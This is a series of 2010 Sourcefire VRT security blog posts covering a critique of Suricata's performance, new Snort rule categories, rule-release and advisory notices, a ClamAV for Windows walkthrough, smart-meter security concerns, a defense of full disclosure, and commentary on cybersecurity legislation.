I was so impressed by the tack that Suricata appeared to be taking that I gave my best wishes to them on their first release, back in December:
"Congrats to Matt Jonkman and the team at OISF. It's a big step, and I look forward to seeing your work (after then new year :))

Matt". -- [Snort-users] Suricata IDS Available for Download!, 12/31/09
http://marc.info/?l=snort-users&m=126229251430261&w=2

But at this point, having worked with Suricata and looked at what the OISF has actually delivered, I'm just disappointed with where they've ended up and what they've delivered.

Suricata's developers harp on a lot of different issues, some of which are valid, and some are simply wrong. More than anything else, they beat the multi-threaded drum:

".For example, Suricata's multi-threaded architecture can support high performance multi-core and multiprocesser systems, Jonkman said." -- (Computerworld, above)

"This is 2010 and not a single IDS supports multi-threading"
"The flaw in every IDS is that it is single threaded"
"Multi threading alone is worth moving over to Suricata for".
-- (Suricata team, various)

We've talked about this before, with an extensive, technical discussion on multi-threading and IDS from Marty (http://vrt-sourcefire.blogspot.com/2010/06/single-threaded-data-processing.html). Go there and check out what Marty has to say. The essence of his post is that there are sound architecture reasons why traditional multi-threading is not the appropriate approach for IDS implementations. Certainly, as commodity hardware evolves (we do work very closely with Intel), we'll continue to evaluate the technology. In addition to the long technical brief, I'd point out this simple fact of life: IDS vendors are judged on both detection accuracy and speed. No report about an IDS engine comes out that doesn't identify how many GB/s throughput the engine was capable of sustaining. Trust me, if multi-threading were the answer, the industry would have moved there in short order.

Of course, there is no third-party review of Suricata's performance. I'm going to give you some numbers, but I don't expect you to put any special weight on them, they are more to show that we have looked at the engine and haven't found anything that we would take from it. I asked Chris McBee, one of the researchers here on the VRT to install Snort and Suricata on the same box. I told him to make it run, take all the steps necessary to maximize performance. He even changed out the network card to support the pf_ring buffer. We did not, however install a CUDA-capable ~~network~~ video card (edited after publish, my bad -- molney), since, in the words of one Suricata developer (it should be noted that the 1.0.0 release notes indicated an increase in performance):

"Currently on my desktop CUDA actually slows things down"

--http://www.inliniac.net/blog/2010/02/20/suricata-has-experimental-cuda-support.html

So the key to the test is that they were on the same, commodity hardware. We ran Snort first, then Suricata on the same box. In each test, Snort and Suricata were loaded with the latest default open source ruleset from the VRT. In the case of Suricata, some rules that used unsupported options failed to load, and there is no .SO rule support, so none of those rules ran either. This means that Snort was running a larger ruleset than Suricata.

Test Set 1: The same packet set sent at between 200 and 5200 MB/s (30 runs total)

Total Packets sent: 30,000,000 (Across all 30 tests)

Total Packets dropped, Snort: 61264 (0.0204%)

Total Packets dropped, Suricata: 17,438,542 (58%)

Test Set 2: The same packet set sent at between 200 and 5200 MB/s (30 runs total) (Hyperthreading Disabled)

Total Packets sent: 30,000,000 (Across all 30 tests)

Total Packets dropped, Snort: 511 (0.0017%)

Total Packets dropped, Suricata: 15,714,211 (52%)

Now, we did rerun the tests when Suricata 1.0 was released, briefly:

"Suricata peaked at about 300 Mb/s without dropping packets, provided no rules are loaded.

With rules loaded, Suricata runs up to about 200Mb/s.

Snort, with rules, hits 894Mb/s with no drops" -- Internal VRT Report on Suricata Performance

Suricata's performance isn't just bad; it's hideously, unforgivably bad. This is especially true for a project that is hawking the performance issue. There are other issues I have with Suricata, but I think the one that is most concerning is the following statement:

"We made a conscious decision last year that we're not going to go with an obfuscated rule set, we're not going to pick up an SO rule format" -- Matt Jonkman

This decision is going to limit any detection capability to the rule language provided by Suricata. In today's incredibly complex environment, this is an unacceptable limitation. Sourcefire developed the C capability to give the VRT and high-end response organizations the ability to build detection with all of the power of C available to them and not lock them into our the Snort rules language. The loss of this capability dramatically reduces the usefulness of Suricata. As an administrative issue, for organizations working in a TS/SCI environment, rules often need to be provided in an obfuscated format to protect against unnecessary disclosure of data. This isn't available without .so rules.

All of this came up in a discussion of how to engage vendors to get data to write rules. It should be noted that Sourcefire is a partner with several large vendors, including the most targeted: Microsoft. In agreement with these vendors, we protect our rule set for vulnerabilities that are not being exploited in the wild to help protect against exploit development. We do this by obfuscating the rules associated with data we receive from them into .so rules. There is no impact to performance by doing this, but it does pose a hurdle to potential attackers looking to glean information about potential vulnerabilities from how we go about detecting them.

Matt Jonkman specifically said: "We're hoping to get enough market share to say to vendors if they want to use our product if they want to feel safe, we're going to have to be transparent enough that rules can be written". This is simply not going to happen, and trying to adjust reality to justify your philosophical approach will simply result in a product that is not usable.

Look, I generally work very hard to avoid looking like a corporate shill, I try to keep to purely technical information. But in this case, I have to call a spade a spade, even if it leaves you thinking I'm just a mouth piece. But know that I honestly believe this:

The OISF has spent nearly a million dollars to fulfill their obligation to the DHS to deliver the next generation in IDS engines. They have since engaged in all manner of wishful thinking, self-aggrandizement and Snort bashing. They've failed, utterly, to deliver on their promises. This is forgivable on the performance front, that problem is non-trivial. But in the end, what they've built is a poorly functioning Snort-clone, missing the most powerful detection capability that Snort has. There isn't anything in the way of innovation; they are taking the same approach as everyone else from a detection standpoint. Simply put, rehashing isn't innovation.

If you want to see what innovation looks like, come to Vegas and let the VRT show you the Razorback system. It isn't Snort, it isn't ClamAV, and it isn't Suricata. It's a new approach to the detection problem, and was built from the ground up in close collaboration with groups that are facing APT-level threats. It may not be perfect, it may not even be the right answer (but we think it is), but it is truly innovative.

And we didn't even cost you a million dollars.

The Power of Scapy

2010-07-19T13:22:00.000-04:00

There is a special place in my heart for someone who accidentally causes all the Macs in the office to repeatably crash at the Grey Screen of Death. If you too like fun "accidents" or need to craft up some packets check out Judy Novak's SANS class on Scapy. This is an in-depth start to finish class on the Scapy API, and will take you from just knowing about Scapy to building complex packet crafting scripts for all your testing, verification, and hacking needs.

If you ever needed to:
1. Test your Snort rules with real traffic
2. Verify your packet munging devices actually support your special protocol needs
3. Need to build a PoC for that new NAT vulnerability
4. Pen-test the robustness of that new communication channel

Then this class is for you. Next class is in Las Vegas on September 19th.

Check it out here: http://www.sans.org/security-training/power-packet-crafting-scapy-1382-mid.

Vulnerability Report - July 2010

2010-07-15T17:11:00.000-04:00

Sourcefire VRT Vulnerability Report July 2010 from Sourcefire VRT on Vimeo.

New Rule Categories

2010-07-14T12:38:00.001-04:00

Three new rule categories were introduced yesterday (Tuesday, 13th July 2010) in SEU 348 and into the VRT Certified Rule packages. I'd like to take a moment to explain what's in these categories, where the data behind them is coming from, and what you should do if you turn them on and they start firing.

The initial set of rules for these categories was pulled from the specific-threats and spyware-put categories, as these categories already contained numerous botnet command and control, and dns based detection rules. We felt that by breaking these categories out it was easier to find the rules end users were looking for, and that doing this gives people a simpler way to enable a whole type of detection in a single unified category. These categories are augmented by our automated malware analysis systems, spam traps, honeynets, and additional external data feeds. We'll be putting out some additional information about how these systems works and what type of data they capture; we'll also be publishing some raw data lists. Anyone will be able to get the raw lists, which contain IP addresses, URLs, and DNS names that were collected from these systems so you can use this data in other security or security releated tools, like SMTP RBLS, or DNS Blackhole systems.

botnet-cnc.rules: A large portion of the world's malware connects the infected machine into a botnet, to serve at the whim of whomever unleashed the initial infection; this software uses command and control channels to communicate with master servers and take instructions on what to do next. These rules are aimed at detecting communication over those channels, by looking for portions of URLs that remain constant across domains used by control servers, chunks of the communications channels themselves, or other criteria that have been observed repeatedly across a broad range of related pieces of malware. A number of rules in this category were previously listed in the Specific-Threats category and in the Spyware-Put category, since these rules focused specifically on command and control traffic they have been moved here.
blacklist.rules: These rules look for DNS queries for known-malicious domains and common URL patterns observed inside of our malware sandbox, not necessarily associated with a command and control channel. These could be domains serving up exploits, URLs used in click-fraud schemes, update servers for malware, or any number of other things that were consistent across a large number of malware
samples.
phishing-spam.rules: Phishing attacks and spam are the bane of the modern inbox. These rules seek to supplement your existing spam filtering system (you do have a good spam filter, right?) by looking for domains being advertised in malicious emails.

So, what happens if you turn these rules on and you start getting alerts? For the phishing/spam rules, you may wish to consider enabling them in blocking mode, to help prevent these malicious emails from coming into your network in the first place. For the blacklist and botnet/C&C rules, you've got a larger problem on your hands, since you're looking at outbound communications from an existing infection.

We've done our best to help you identify the particular piece of malware generating the traffic being detected by these rules. For most of the malicious domains in our blacklist rules, we've cross-referenced with other malware analysts and given you the name of at least one virus known to be associated with the domain in question.

Additionally, the references included in rules based on our malware sandbox data give you a list of md5sums of binaries that generated the traffic used to create the rule - which can help you cross-reference anything suspicious you may find on the system in question with tools like Virus Total and ThreatExpert.

Since these rule categories will be under active development, we welcome your suggestions on ways to improve them, and your feedback on how you've integrated them into your security process in the wild. Feel free to comment below, or reach us on IRC or email at research at sourcefire dot com.

Rule Release for Today, Tuesday July 13th, 2010

2010-07-13T17:32:00.002-04:00

Microsoft Security Advisory MS10-042:

Microsoft Help and Support Center contains a programming error that may allow a remote attacker to bypass security restrictions on an affected system. The error occurs when invalid hex-encoded characters are used as a parameter to a search query using the hcp:// URI schema.

Microsoft Security Advisory MS10-043:

The Microsoft Canonical Display Driver (cdd.dll) contains a programming error that may allow a remote attacker to execute code on a vulnerable system.

Microsoft Security Advisory MS10-044:

Microsoft Access contains mulitple vulnerabilities that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory MS10-045:

Microsoft Outlook contains a programming error that may allow a remote attacker to execute code on an affected system.

Additionally, this release introduces three new rule groups, botnet-cnc.rules, blacklist.rules and phishing-spam.rules. These rule groups represent a decentralization of existing coverage from spyware-put.rules and specific-threats.rules. The rules themselves are gleaned from honeypot and malware data collected by the Sourcefire VRT.

As always, details are available here: http://www.snort.org/vrt/advisories/2010/07/13/vrt-rules-2010-07-13.html/

Fundamentals of Exploit Development Class in VEGAS!

2010-07-08T11:14:00.001-04:00

Need some more exploit fun? Want to stay in Vegas a little longer? Need some face time with the VRT? We are holding the fundamentals of exploit development class right after DefCon this year. August 2nd, 3rd and 4th in Las Vegas, NV.

For more details and to book your place, take a look at http://www.sourcefire.com/services/education/schedule/

Increase in attacks on CVE-2010-1885

2010-07-07T15:58:00.001-04:00

Microsoft is warning that there has been an increase of attacks against a zero-day vulnerability in Microsoft Help and Support Center. The vulnerability is due to an error when using invalid hexadecimal characters in the search topic parameter of a URI. It can be used to bypass restrictions normally imposed by a command-line argument to load arbitrary help documents. Proof-of-concept code has been available since at least mid-June and has been proven to work with Windows XP, and Windows Server 2003, other versions may also be affected. While a patch is still not available, you should plan on patching as soon as one is. In the meantime, be careful or better, unregister the HCP protocol (manually, or by using this tool provided by Microsoft). However, doing so will break all local links that use hcp:// such as links in the Control Panel.

Snort coverage for CVE-2010-1885 is provided by sid 16665 while ClamAV signature BC.Exploit.CVE_2010_0815 will detect attacks leveraging this vulnerability.

Yes, Virginia, There is Cyberwar

2010-07-07T14:19:00.001-04:00

DEAR EDITOR:

I have been in security for 8 years. Some of my friends say there is no such thing as cyberwar. My manager says, "If you see it on the VRT Blog then it's so" Please tell me the truth; is there cyberwar?

Virginia O'Hanlon.
115 West Ninety-Fifth Street.

Virginia,

Your friends are wrong. They have been affected by the skepticism of a skeptical age. They do not believe except what they see. They think that nothing can be which is not comprehensible by their minds. All minds, Virginia, are closed.

Yes, Virginia, there is cyberwar. It exists as certainly as espionage, defacing and cybercrime exist, and you know that they abound and are a threat. Alas! Whenever there is a means for man to do ill to his fellow man, that capability will be developed.

Not believe in Cyberwar! You might as well not believe in enemies! You might get your manager to hire people to watch all the inbound connections every day to catch the enemy, but even if they did not see them, what would that prove? When they are at their best, nobody sees the enemy. The most real and dangerous thing in the world are those that no one can see. Did you ever see a keystroke logger on your system? Probably not, but that's no proof that it is not there. Nobody can conceive or imagine all the threats that are unseen and unseeable in the world.

Cyberwar is many things, Virginia, and sometimes we need to connect the dots to understand what is possible. Have we ever been denied electricity by a foreign power? No (we think). But we know that networks can be penetrated, servers can be compromised and we even know that generators can be destroyed simply by instructions from control servers. We also know that there are those who would seek to harm us. So yes, Virginia, there is cyberwar.

But Virginia, an understanding that something is possible is not a license to let that thing dictate your life. We need to recognize the threat, however unlikely, that cyberwar presents. But not so that we can panic, cry and beg our leaders to give themselves more power. Instead we need to understand the threat so we can improve our defenses and ensure that, if it were to occur, we would have a plan in place to deal with it.

We are right to look with skepticism when our leaders show us a problem and then present a solution that empowers them further. We must never (again) allow our fear to weaken us to the point that we transfer all responsibility to our government. A people without responsibility are a people without freedom. Instead we must ensure that we all do our part, because if it comes to pass that a substantial cyber-attack does occur, we will all be responsible for helping to mitigate it. But we must also hold our leaders in check; we must hold them accountable and ensure that they are prepared. Yes, Virginia, it is a difficult balance, but it is one we must strike.

No cyberwar! God, were that that was true. It exists, and most likely will exist for as long as we are online. A thousand years from now, Virginia, nay ten times ten thousand years from now, cyberwar will continue to be a threat. But it is not a threat without checks and it is not an excuse for weakness and panic.

Rule Release for Today, Thursday July 1st, 2010

2010-07-01T16:51:00.001-04:00

Remote code execution in Adobe Acrobat and Reader. Some folks are claiming it's a denial of service, heh, right. RCE is possible, get your rules here:

http://www.snort.org/vrt/advisories/2010/07/01/vrt-rules-2010-07-01.html/

Rule Release for Today, Tuesday June 29th, 2010

2010-06-29T16:46:00.002-04:00

We added and modified multiple rules in the backdoor, dos, exploit, misc, multimedia, netbios, oracle, pop3, rpc, specific-threats, web-activex, web-client and web-misc rule sets.

Information is here: http://www.snort.org/vrt/advisories/2010/06/29/vrt-rules-2010-06-29.html/

IMPORTANT Rule Download Change

2010-06-28T16:21:00.003-04:00

Today the Snort Web Team made a change to the way that Snort rules are downloaded from snort.org. Hopefully this will result in faster downloads for most people. The changes are highlighted below:

We are changing the way we publish rules. In June 2010 we stopped offering rules in the "snortrules-snapshot-CURRENT" format. Instead, rules are released for specific versions of Snort. You will be responsible for downloading the correct rules release for your version of Snort. The new versioning mechanism will require a four digit version in the file name. For the Subscriber and Registered releases of Snort 2.8.6.0 and Snort 2.8.5.3, the download links would look as follows:

Subscriber Release:

http://www.snort.org/sub-rules/snortrules-snapshot-2860.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23

http://www.snort.org/sub-rules/snortrules-snapshot-2853.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23

Registered User Release:

http://www.snort.org/reg-rules/snortrules-snapshot-2860.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23

http://www.snort.org/reg-rules/snortrules-snapshot-2853.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23

Configuring Oinkmaster:

In order to use Oinkmaster to update Snort with VRT rules you must edit oinkmaster.conf.

In the oinkmaster.conf modify "url" to:

url = http://www.snort.org/pub-bin/oinkmaster.cgi/<oinkcode here>/<filename>

Important Note:

As noted above, the CURRENT and 2.8 naming conventions have been deprecated as of June 2010 for oinkmaster downloads. You are responsible for updating your oinkmaster.conf file to reflect your installed version of Snort. Continued attempts to download outdated versions will result in being banned. Example for snort 2.8.6.0:

url = http://www.snort.org/pub-bin/oinkmaster.cgi/43f45cd452456094ac7e3ae58b12d256fa3d2f23/snortrules-snapshot-2860.tar.gz

Example for snort 2.8.5.3:

url = http://www.snort.org/pub-bin/oinkmaster.cgi/43f45cd452456094ac7e3ae58b12d256fa3d2f23/snortrules-snapshot-2853.tar.gz

Smart Grids and the Importance of Smart Security Choices

2010-06-26T12:20:00.001-04:00

I got a flyer in my mail a couple of days ago, telling me that my local utility company would be coming out soon to install a smart meter on my house. Like most customers, I didn't think too much about it, until the new meter was installed today. That's when my curiosity got the better of me - even though I arrived home after dark, I had to go take a look at the shiny new toy on the side of my house.

At first glance, it was somewhat disappointing. The rusty old box surrounding the meter (which has probably been there since the house was built in 1942) hadn't been replaced. Sure, the new meter had a nice little LED, and I even saw a kWh reading flash by...but it was still a meter, nothing too exciting. There was, however, a prominent display of the manufacturer's name - Elster - and a model number, R2SD (commonly known as REX2), off in the corner. "Hmmm," I thought. "I should go Google that. I wonder what protocol it speaks?"

My search immediately turned up a link to a Canadian regulatory document approving the use of this type of meter in the country. Reading through it, I immediately turned up some security red flags:

"The REX2 meter is equipped with 900MHz radio frequency communications..."
"...the meter has the ability to update the communications firmware remotely."
"When the meter is registered to the local area network (LAN) it may display a registration number of the collector."

Doomsday scenarios immediately began popping into my head. 900MHz is an open, easily accessed frequency here in the United States; what is there to prevent pranksters, criminals, or even Google Street View cars from accessing my meter while they drive down the street? Hacking programmable road signs to warn of "Zombies Ahead" was funny; somebody coming along and making my meter tell the power company to up the voltage could mean my house burns down. The remote kill ability cheerly advertised in the flyer sent by the power company as a "feature" could easily be abused to whack power to entire neighborhoods with a few keyboard strokes. Oh, and what if someone uploaded a malicious new piece of firmware to my power meter, and ended up with complete control of the electricity coming into my house - or worse yet, used my meter as an access point to break into the larger electrical grid?

Digging a little further, I got a little reassurance when I found my meter's specifications page, which, handily enough, included a "Security" tab at the bottom. It seems that these meters use 128-bit AES encryption when talking to the Energy Axis network, which is in use by my utility company for transferring data to and from these new smart meters. That proves that the manufacturers are at least thinking about security, and provides a moderate barrier to entry for anyone trying to tamper with the system.

The data transmission itself uses the ZigBee protocol - which, surprisingly enough, is an open standard, freely available to anyone who wants to wade through a 604-page brick of a specification. Since digesting that will take some time, I decided to simply read the Wikipedia article instead, which again had a handy security-related section. The initial sentence there was great:

"As one of its defining features, ZigBee provides facilities for carrying out secure communications, protecting establishment and transport of cryptographic keys, cyphering frames and controlling devices."

Wow! Security built right in - how great is that?

Well, as it turns out...not so great. Things went from bad:

"This part of the architecture relies on the correct management of symmetric keys and the correct implementation of methods and security policies."

...to worse:

"Keys are the cornerstone of the security architecture; as such their protection is of paramount importance, and keys are never supposed to be transported through an insecure channel. There is a momentary exception to this rule, which occurs during the initial phase of the addition to the network of a previously unconfigured device."

Yes, that's right, folks: this protocol sends its encryption keys over the network in plaintext when it starts up for the first time. I know, I know, the window of opportunity is maybe 30 seconds...but really, you couldn't think of some way to avoid sending the keys to the kingdom over an insecure channel, even if it is only once?

Still, I'll take an open standard whose creators at least had security in mind when they wrote it over one of the myriad closed, poorly documented SCADA protocols in use throughout the utility industry, where devices will happily reply to any query without a hint of authentication and the entire network is assumed to be safe. Some security is better than no security at all.

Given the inevitability of the smart grid - not only is it being hyped by politicians of every stripe, my power company's FAQs tell me that I could not have opted out even if I had wanted to - we clearly can no longer rely on the typical SCADA security model of "don't plug it into the Internet and we'll be cool." Networked toasters may not be here yet, but networked power is, and the people who run these systems need to be thinking long and hard about security, and making sure that they implement it as intelligently as possible. Let's make sure that we, as both the general public and the security industry, keep our eyes on these folks as more and more networked utilities roll out - because after all, what good are your firewall, IDS, and AV systems if you lose power to all of your machines?

ClamAV for Windows

2010-06-22T12:18:00.001-04:00

Recently, we released the only official Windows-specific version of ClamAV, appropriately called ClamAV for Windows (http://www.clamav.net/lang/en/about/win32/). It is designed to use little memory and processing speed because it uses an advanced cloud-based protection mechanism, best of all it's free (as in free beer. Ummm...beeeeer). If you haven't tried it yet, I really encourage you to.

You can download ClamAv for Windows from here: http://www.clamav.net/lang/en/about/win32/ or by going to a site like download.com and typing "clamav" in the search box. There are 2 installers available: a 32-bit version and a 64-bit version. If you don't know which one to choose for your Windows operating system, you can check this page http://support.microsoft.com/kb/827218. It will tell you if you are running a 32-bit or 64-bit of Windows. If that's too complicated, just start by downloading the 64-bit version. If you have a 64-bit operating system, you will get a speed boost from running the 64-bit version of ClamAV for Windows. If it turns out that you are running a 32-bit version of Windows, don't worry, executing the 64-bit installer will generate this warning:

Pic.1: Wrong installer version

That will be your cue to grab the 32-bit installer instead :-)

In the last step of the installation process, you can opt to perform a recommended initial FlashScan. A FlashScan is not as comprehensive as a full scan but is designed to be a quick check for your system to see if you have any malware running in memory. The last screen in the installation process will also ask whether you want to share that you installed ClamAV for Windows with your Facebook friends or your Twitter followers. The more people that run ClamAV for Windows, the better the protection. Every time a ClamAV for Windows user encounters a new threat, all other users are protected from that same threat in real-time.

So, now that you've installed ClamAV for Windows and run a FlashScan. You are now looking at the Scan tab. The results of the scan you just performed are displayed on the left hand side and on the right hand side you have Scan Options. Leave them set to "on" in order for future scans to look at running processes and at locations where malware can hide in order to be run every time you turn your computer on.

Pic.2: FlashScan

Under the "Settings" tab, you can choose to turn off some of the layers of protection that the software provides. Unless you have a good reason to do that, I recommend you keep everything set to "on".

Pic.3: Settings tab

Under the "History" scan, you can review the different scans that were performed on the computer.

Pic.4: History tab

Finally, the "Summary" tab give you an overview of how many people are using the product as well as how many threats the ClamAV for Windows community is protected from thanks to the power of the cloud.

Pic.5: Summary tab

The video below shows you the kind of nasty things you might encounter. On a completely clean computer, I visited a link that prompted me do download an executable called gb5339.exe. While you will hopefully not purposely visit a known bad URL, keep in mind that your computer could have automatically downloaded and executed this file via a drive-by-download (that's when a bad guy takes advantage of an vulnerability in your browser to force actions on your computer simply by visiting an infected web page), or through social engineering (eg: you get a spoofed email that appears to come from a know person that ask you to download the attached executable and run it....and you do). You can see in the video that shortly after running gb5339.exe, the background image changes to show "You are infected" in big red letters. Furthermore, a fake/rogue/bogus piece of antivirus software is loaded and reports that I have infected files on my computer. Again, I had a fresh installation of Windows XP. There are no infected files on my computer. The fake antivirus program's goal is to scare me into believing that I am infected in order to purchase a license for the software that will supposedly help fix my problems. Good thing I didn't fall for that, and neither should you.

Ransomware in action on a PC

Repeating the experiment with a clean computer and a fresh installation of Windows XP, but now with ClamAV for Windows installed, gb5339.exe is blocked as soon as I try to copy it on my hard drive (this is called blocking the file "on-access").

Ransomware being detected and it's actions blocked by ClamAV for Windows

Defenders of the Faith

2010-06-21T11:29:00.001-04:00

Quite recently, Tavis Ormandy released a 0-day vulnerability in a prominent piece of software. For this transgression, both he and his employer received a good deal of bad press. Sadly, very few in the professional security researcher crowd made enough noise about this, and to the contrary, one man in particular came down squarely against him. Thankfully however we still have Brad Spengler. Last night he posted what none of us had the courage to say. You can find this post on the Daily Dave mailing list archives: http://seclists.org/dailydave/2010/q2/58

I won't rehash the post, I'd very much rather you read it yourselves. But I would like to point out the timeline.

June 5) Tavis contacts Microsoft requesting a 60 day patch timeframe.

June 5-9) Tavis and Microsoft argue about the patch timeframe and are unable to come to an agreement.

June 9) Tavis releases the information to the public.

June 11) Microsoft releases an automated FixIt solution

Tavis did not "give Microsoft 5 days to patch the bug" as was said by various media outlets.

As a few people (@dinodaizovi, @weldpond) have pointed out, this strikes at the heart of the term "Responsible Disclosure". A clever branding trick by software vendors, the term automatically assumes that any other method of disclosure is irresponsible. So we must ask, were the actions that Tavis took responsible? Would it have been more responsible to allow a company to sit on a serious bug for an extended period of time? The bugs we are discussing are APT quality bugs. Disclosing them removes ammunition from APT attackers. If your goal is to stop attacks, where bugs are the supply chain of attacks, you must make bug and exploit creation prohibitively expensive as compared to the return on that investment. This is why OS mitigations are helpful. Removing high-value bugs from the marketplace is what full disclosure is good at.

I'd like to explicitly debunk a couple of myths related to this issue now.

Myth 1) Targets are a commodity. (All targets carry the same value)

At some point, the security posture of common software is no longer about your mother's Windows XP desktop with a CRT monitor from 8 years back. It is not about the money wasted when sales people's laptops need to be reimaged. It is about real security. It is about the financial information of your public company. It is about the plans for Marine 1 ending up in the hands of people who shouldn't have them. It is about the stability of our power grid.

This is because when a vulnerability becomes public it is no longer as useful for serious attackers. Defense companies provide detection and prevention mechanisms, researchers provide useful mitigations, and high end companies are able to arm their response teams with the information necessary to protect their particular environments. The companies with high-value data that are regularly attacked are able to proactively protect themselves. The attackers who have spent significant time evaluating a company's vulnerability with regard to a particular bug, will now find that bug to be much less useful for a stealthy attack. Yes, you may see an uptick in attacks, but you see a downtick in overall target value. The loss due to a 20+ company exploit spree such as "Aurora" is significantly greater than the monetary loss due to low-end compromises which can be cleaned with off the shelf anti-virus tools. No one is persistently using advanced exploitation techniques against low-value targets such as Joe's Desktop. These attacks are focused on large corporations, government, and military targets with the goals of industrial espionage and military superiority.

Myth 2) Only Tavis knew about the bug

The media asks, "how could attackers know about this flaw if Tavis hadn't released it?" Every bug hunter knows this statement is ridiculous. Security research, like all scientific research, moves like a flock of birds. I'm relatively sure that Leibniz wasn't spying on Newton's work, but they both developed calculus at the same time. They both had the same environment and the same problem to solve, so they developed the same working solution. I'm sure I'm not the only researcher to have lost bugs to another researcher's reporting. Within the past year I have lost several bugs which on the market would have sold for in excess of $65,000. At the point in which the bugs became public, their value dropped to approximately $0 because companies are able to build protections against the vulnerabilities. The bugs that I lost were bugs that had lived for more than 5 years, yet they were discovered independently by myself and others within months. Even if no one else had found the bug, there are other ways an attacker could become aware of it. It would be unreasonable to assume that high-end researchers and their companies are not the targets of espionage. The value of their research is high, and if an attacker can get a free exploit and know that it won't be patched in the next 60 days that is a win for the attacker. It is unreasonable to assume that a bug is not known to attackers once it is found by a researcher. Tavis has protected high-value targets by refusing to allow an unreasonable timeline for patching. Tavis has devalued the vulnerability by letting companies know about a threat that they otherwise would have been unaware of. Tavis has acted responsibly.

The long and short of this is that when only a handful of people have information, that information is very valuable and very useful. When everyone has this information, everyone can use it, but its value decreases significantly. Tavis simply devalued this flaw. Yes, what Tavis did means you might have to reimage your mother's computer when you visit at Thanksgiving. But also, what Tavis did means that you won't think twice about whether or not the power will be on when you get there. Despite branding, what Tavis did was responsible. In this case, "responsible disclosure" wouldn't have been responsible.

Rule Release for Today - June 17th, 2010

2010-06-17T16:26:00.001-04:00

As a result of ongoing research, the Sourcefire VRT has added multiple rules in the dos, exploit, ftp, mysql, policy, rpc, specific-threats, spyware-put, web-activex, web-client, web-misc and web-php rule sets to provide coverage for emerging threats from these technologies.

For a complete list of new and modified rules please see:

http://www.snort.org/vrt/docs/ruleset_changelogs/changes-2010-06-17.html

National Cyber-Security Emergency and Phenomenal Cosmic Power or Lieberman -- EARN IT

2010-06-15T09:17:00.009-04:00

So…you’re at the bar and across the room you see this incredible [insert whatever floats your boat here].You spend an inappropriate amount of your time watching this person and your mind starts to fill in the details that the dark environment masks. Then they turn around walk towards the bar and (finally!) walk into enough light that you can see what they look like. Your first thought…”KILL IT WITH FIRE!”

This is a lot how I felt as I read through the “Protecting Cyberspace as a National Asset Act of 2010” (pdf), a 199 page piece of legislation introduced by Senator Lieberman (I-CT) along with Senator Susan Collins (R-ME) and Senator Thomas Carper (D-DE). It’s worth noting, in reviewing the legislation that Susan Collins and Joe Lieberman are the ranking members of the Senate Committee on Homeland Security and Governmental Affairs for their respective parties (with Joe Lieberman counting as a Democrat for the purposes of committees).

This is an impressive, expansive and ambitious piece of legislation, completely reworking the Federal government’s management of cyber security issues. There are a lot of things in the bill that I think are necessary. Of course, as you’ve probably seen by this point, there are a couple of issues that..erm..have “opportunity for improvement”.

First up is the creation of the Office of Cyberspace Policy within the Office of the President. There is little in our world today that is as poorly managed, rapidly changing and outright dangerous as “cyberspace”. Having an apparatus at the level of the White House that manages these issues from a strategic point of view is important. It is this office that would be tasked with creating a “national strategy to increase the security and resiliency of cyberspace”.It is also the first place (page 9) you notice the incredible breadth of changes in the bill.

The Director of Cyberspace Policy is tasked with, to paraphrase, overseeing all policies and activities of the Federal Government across “all instruments of national power” to ensure the security and resiliency of cyberspace. The act specifically cites diplomatic, economic, military, intelligence, law enforcement and homeland security activities and also calls for the management of “offensive activities, defensive activities and other policies and activities necessary to ensure effective capabilities to operate in cyberspace”. So while it is organized for “Protecting Cyberspace”, the options available to ensure cyberspace is available is…well everything, including utilizing the NSA and Cyber Commands offensive capabilities to keep the peace.This office operates at the highest executive level, and the capability of every tool available, even offensive ones, needs to be understood.

Next, the National Center for Cybersecurity and Communications. This is where a lot of the good work of this bill, in my opinion happens. The most important one is called out specifically as a duty of the Director of the NCCC: “sharing and integrating classified and unclassified information, including information relating to threats, vulnerabilities, traffic, trends, incidents and other anomalous activities”. This determination to improve Government/Private sector communication comes into play again in the section defining the responsibilities of the US CERT. The information isn’t limited to domestic sources either, with the bill specifically calling for the Secretary of Defense, the Director of National Intelligence, the Secretary of State and the Attorney General to develop “information sharing pilot programs with international partners of the United States”.

The communication thing is critically important. This game is hard enough without having as much information as possible to base your defensive posture on. One of the common complaints from the private sector (who run 80% of the “Critical Infrastructure” of the U.S.) is the difficulty in getting actionable informationout of the Government. The recently released “High-Impact, Low-Frequency Event Risk to the North American Bulk Power System” report from the North American Electric Reliability Corporation calls out several times that “focus should be given to improving the timely dissemination of information concerning impending threats and specific vulnerabilities” going on to say that "more effort is needed to appropriately de-classify information needed by the private sector”.

From the perspective of incident response, there is another important new service provided by the DHS. "The DHS will, at the request of critical infrastructure operators and provided the DHS has sufficient resources, to both assist the operator in complying with mandatory security and emergency measures" (yes, we’ll get to this…) as well as, through the US CERT “respond to assistance requests from…owners or operators of the national information infrastructure to…isolate, mitigate or remediate incidents”.

Now…you might have noticed that CERT is doing a lot of useful things from a central point for information to a cyber-guardian-angel ready to assist the most important components of the national information infrastructure in defending themselves from attack. But there are some strings that come with this. Those entities deemed to be “covered critical infrastructure” are required to report any cyber security issue that might indicate an actual or potential cyber vulnerability or exploitation of a cyber vulnerability. And the DHS gets to decide the procedures to enable that reporting. So if you’re a critical infrastructure operator…you are starting to get a little uncomfortable here, no matter how many disclaimers about the protection of information are placed into the bill.

Then you look at Section 248: “Cyber Vulnerabilities to Covered Critical Infrastructure”. Between this and Section 250: “Enforcement” the DHS is granted near unlimited authority to deliver requirements to critical infrastructure providers on handling security threats. In short, DHS can deliver a mandate that a certain security issue be addressed, and a set of mitigations to be used. Now, in an exceptionally rare, well thought out approach to this mandate (and a shout out to Richard Clarke and the open-ended mandate crowd), the bill allows for the DHS to accept alternate mitigations provided by the operator if the DHS determines they are adequate. These requirements, as you can guess by the name of section 250 come with a “civil penalty” if providers fail to address these issues.

My inner Libertarian gets pretty spooked when it comes to this kind of thing. But, to refer back to NERC’s HILF document, market forces seem to dictate doing the exact wrong thing when it comes to security:

“The increased use of IP networks for Supervisory Control and Data Acquisition (SCADA) and other operational control systems, in particular, creates potential vulnerabilities. Executives with SCADA/ICS responsibilities reported high levels of connections of those systems to IP networks including the Internet—even as they acknowledged that such connections create security issues.” --(pg31, NERC HILF, Cyber Vulnerability)

